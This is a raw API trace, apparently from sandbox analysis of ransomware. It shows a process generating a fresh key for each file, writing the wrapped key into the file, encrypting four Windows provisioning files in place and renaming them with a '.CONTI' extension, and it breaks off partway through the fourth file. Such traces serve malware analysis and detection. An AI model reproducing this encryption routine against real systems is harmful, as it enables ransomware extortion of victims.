	[0110.624] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.624] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6563830 | out: phKey=0x6563830*=0x17c7eb0) returned 1
	[0110.624] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6563834, pdwDataLen=0x37ffcec | out: pbData=0x6563834*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.625] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.625] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.625] GetLastError () returned 0x0
	[0110.625] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=715) returned 1
	[0110.625] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0110.626] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.626] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.626] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.626] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.626] WriteFile (in: hFile=0x3d8, lpBuffer=0x6563834*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6563834*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.632] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.632] ReadFile (in: hFile=0x3d8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2cb, lpOverlapped=0x0) returned 1
	[0110.632] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2cb, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d0) returned 1
	[0110.632] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.632] WriteFile (in: hFile=0x3d8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.632] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.632] WriteFile (in: hFile=0x3d8, lpBuffer=0x6563828*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6563828*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0110.632] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.632] CloseHandle (hObject=0x3d8) returned 1
	[0110.632] GetProcessHeap () returned 0x1720000
	[0110.632] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.632] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml"
	[0110.632] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.633] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.633] GetProcessHeap () returned 0x1720000
	[0110.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.633] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0110.633] GetProcessHeap () returned 0x1720000
	[0110.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566b88 | out: hHeap=0x1720000) returned 1
	[0110.633] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0110.633] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6564f00 | out: phKey=0x6564f00*=0x17c8030) returned 1
	[0110.633] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6564f04, pdwDataLen=0x37ffcec | out: pbData=0x6564f04*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0110.634] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.634] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.634] GetLastError () returned 0x0
	[0110.634] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=713) returned 1
	[0110.634] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0110.635] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.635] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.635] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.635] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.635] WriteFile (in: hFile=0x3d8, lpBuffer=0x6564f04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6564f04*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.081] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.081] ReadFile (in: hFile=0x3d8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2c9, lpOverlapped=0x0) returned 1
	[0111.081] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2c9, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d0) returned 1
	[0111.081] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.081] WriteFile (in: hFile=0x3d8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.081] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.081] WriteFile (in: hFile=0x3d8, lpBuffer=0x6564ef8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6564ef8*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0111.081] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.081] CloseHandle (hObject=0x3d8) returned 1
	[0111.082] GetProcessHeap () returned 0x1720000
	[0111.082] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.208] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml"
	[0111.208] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.208] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.212] GetProcessHeap () returned 0x1720000
	[0111.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.212] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0111.212] GetProcessHeap () returned 0x1720000
	[0111.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6566148 | out: hHeap=0x1720000) returned 1
	[0111.212] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0111.212] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c8470) returned 1
	[0111.212] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x37ffcec | out: pbData=0x17d3fac*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0111.213] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.213] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0111.213] GetLastError () returned 0x0
	[0111.213] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=722) returned 1
	[0111.213] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0111.213] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.213] SetEndOfFile (hFile=0x3d0) returned 1
	[0111.213] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.214] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.214] WriteFile (in: hFile=0x3d0, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.365] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.365] ReadFile (in: hFile=0x3d0, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d2, lpOverlapped=0x0) returned 1
	[0111.365] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d2, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0111.365] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.365] WriteFile (in: hFile=0x3d0, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.366] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.366] WriteFile (in: hFile=0x3d0, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0111.366] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.366] CloseHandle (hObject=0x3d0) returned 1
	[0111.368] GetProcessHeap () returned 0x1720000
	[0111.368] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.958] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml"
	[0111.958] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.958] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\393__connections_cellular_slovak telekom (slovakia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.959] GetProcessHeap () returned 0x1720000
	[0111.959] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.959] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0111.959] GetProcessHeap () returned 0x1720000
	[0111.959] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656cac0 | out: hHeap=0x1720000) returned 1
	[0111.959] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0111.959] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x1805520 | out: phKey=0x1805520*=0x6b7f478) returned 1
	[0111.960] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x1805524, pdwDataLen=0x37ffcec | out: pbData=0x1805524*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0111.960] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0111.960] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0111.961] GetLastError () returned 0x0
	[0111.961] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=723) returned 1
	[0111.961] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0111.961] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.961] SetEndOfFile (hFile=0x3e8) returned 1
	[0111.961] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.961] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.961] WriteFile (in: hFile=0x3e8, lpBuffer=0x1805524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x1805524*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.967] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.967] ReadFile (in: hFile=0x3e8, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d3, lpOverlapped=0x0) returned 1
	[0111.967] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d3, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0111.967] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.968] WriteFile (in: hFile=0x3e8, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.968] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.968] WriteFile (in: hFile=0x3e8, lpBuffer=0x1805518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x1805518*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
